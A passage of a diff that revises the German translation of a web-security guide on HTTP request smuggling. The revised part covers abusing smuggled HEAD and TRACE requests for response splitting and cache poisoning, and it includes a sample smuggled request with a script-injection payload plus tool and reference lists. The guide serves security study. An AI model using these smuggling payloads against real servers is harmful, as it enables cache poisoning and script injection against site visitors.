 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-Ein Beispiel, wie man dieses Verhalten ausnutzen kann, wäre, zunächst eine HEAD request zu smuggle. Diese request wird nur mit den headers einer GET request beantwortet (unter anderem **`Content-Type`**). Und unmittelbar nach der HEAD request eine TRACE request zu smuggle, die die gesendeten Daten reflektiert.\
-Da die HEAD response einen `Content-Length` header enthält, wird die response der TRACE request als Body der HEAD response behandelt und spiegelt daher beliebige Daten in der response wider.\
-Diese response wird an die next request über die Verbindung gesendet, sodass dies z. B. in einer gecachten JS file verwendet werden könnte, um beliebigen JS code zu injizieren.**
+Ein Beispiel, wie man dieses Verhalten ausnutzen kann, wäre, zuerst eine **HEAD request** zu smugglen. Auf diese Anfrage wird nur mit den **Headers** einer GET request geantwortet (**`Content-Type`** darunter). Und direkt nach der HEAD eine **TRACE request** smugglen, die die gesendeten Daten **reflektiert**.\
+Da die HEAD-Antwort einen `Content-Length` Header enthält, wird die **Antwort der TRACE request als Body der HEAD-Antwort behandelt und reflektiert somit beliebige Daten** in der Antwort.\
+Diese Antwort wird an die nächste Anfrage über die Verbindung geschickt, sodass dies **z. B. in einer gecachten JS-Datei verwendet werden könnte, um beliebigen JS-Code einzuschleusen**.

-### Missbrauch von TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Missbrauch von TRACE mittels HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. Wie bereits kommentiert, ermöglicht das smuggling einer HEAD request und einer TRACE request, einige reflektierte Daten in der response auf die HEAD request zu kontrollieren. Die Länge des Bodys der HEAD request wird im Wesentlichen durch den Content-Length header angegeben und wird durch die response auf die TRACE request gebildet.
+Es wird empfohlen, [**diesen Beitrag**](https://portswigger.net/research/trace-desync-attack) weiter zu verfolgen; dort wird eine andere Möglichkeit beschrieben, die TRACE-Methode zu missbrauchen. Wie kommentiert, ist es möglich, durch das smugglen einer HEAD request und einer TRACE request **einige reflektierte Daten** in der Antwort auf die HEAD request zu kontrollieren. Die Länge des Bodys der HEAD request wird im Wesentlichen im `Content-Length` Header angegeben und wird durch die Antwort auf die TRACE request gebildet.

-Daher lautet die neue Idee: Kennt man diesen Content-Length und die in der TRACE response enthaltenen Daten, ist es möglich, die TRACE response so zu gestalten, dass sie nach dem letzten Byte des Content-Length eine gültige HTTP response enthält. Dadurch kann ein Angreifer die request zur next response vollständig kontrollieren (was z. B. für cache poisoning genutzt werden könnte).
+Die neue Idee wäre daher: Kennt man diese `Content-Length` und die in der TRACE-Antwort gelieferten Daten, ist es möglich, die TRACE-Antwort so zu gestalten, dass sie nach dem letzten Byte der `Content-Length` eine gültige HTTP-Antwort enthält, wodurch ein Angreifer die Anfrage der nächsten Response vollständig kontrollieren kann (was z. B. für cache poisoning genutzt werden könnte).

-Example:
+Beispiel:
 ```
 GET / HTTP/1.1
 Host: example.com
@ -723,7 +723,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-Wird diese Antworten erzeugen (beachte, wie die HEAD-Antwort eine Content-Length hat, wodurch die TRACE-Antwort Teil des HEAD body wird und sobald die HEAD Content-Length endet, eine gültige HTTP-Antwort geschmuggelt wird):
+Erzeugt diese Antworten (beachte, wie die HEAD response eine Content-Length hat, wodurch die TRACE response Teil des HEAD body wird und sobald die HEAD Content-Length endet, eine gültige HTTP response geschmuggelt wird):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@ -744,16 +744,16 @@ Content-Length: 50

 <script>alert(“arbitrary response”)</script>
 ```
-### Weaponisierung von HTTP Request Smuggling durch HTTP Response Desynchronisation
+### Weaponisierung von HTTP Request Smuggling mittels HTTP Response Desynchronisation

-Hast du eine HTTP Request Smuggling-Schwachstelle gefunden und weißt nicht, wie du sie ausnutzen kannst? Probiere diese anderen Ausnutzungsmethoden:
+Haben Sie eine HTTP Request Smuggling-Schwachstelle gefunden und wissen nicht, wie Sie sie ausnutzen sollen? Probieren Sie diese anderen Exploit-Methoden:


 {{#ref}}
 ../http-response-smuggling-desync.md
 {{#endref}}

-### Weitere HTTP Request Smuggling-Techniken
+### Andere HTTP Request Smuggling Techniken

 - Browser HTTP Request Smuggling (Client Side)

@ -769,7 +769,7 @@ browser-http-request-smuggling.md
 request-smuggling-in-http-2-downgrades.md
 {{#endref}}

-## Turbo intruder scripts
+## Turbo intruder Skripte

 ### CL.TE

@ -858,14 +858,14 @@ table.add(req)
 ```
 ## Werkzeuge

- HTTP Hacker (Burp BApp Store) – zur Visualisierung von Verkettung/Framing und niedrigstufigem HTTP‑Verhalten
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater benutzerdefinierte Aktion "Smuggling or pipelining?"
+- HTTP Hacker (Burp BApp Store) – visualisiert Verkettung/Framing und niedrigstufiges HTTP-Verhalten
+- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Dieses Tool ist ein grammatikbasierter HTTP Fuzzer, nützlich, um ungewöhnliche request smuggling‑Abweichungen zu finden.
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Dieses Tool ist ein grammatikbasierter HTTP-Fuzzer, nützlich zum Auffinden ungewöhnlicher request smuggling Diskrepanzen.

 ## Referenzen

@ -878,7 +878,7 @@ table.add(req)
 - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
 - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- Vorsicht vor dem false false‑positive: wie man HTTP pipelining von request smuggling unterscheidet – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- Achtung vor false false‑positives: wie man HTTP pipelining von request smuggling unterscheidet – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
 - [https://http1mustdie.com/](https://http1mustdie.com/)
 - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
 - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)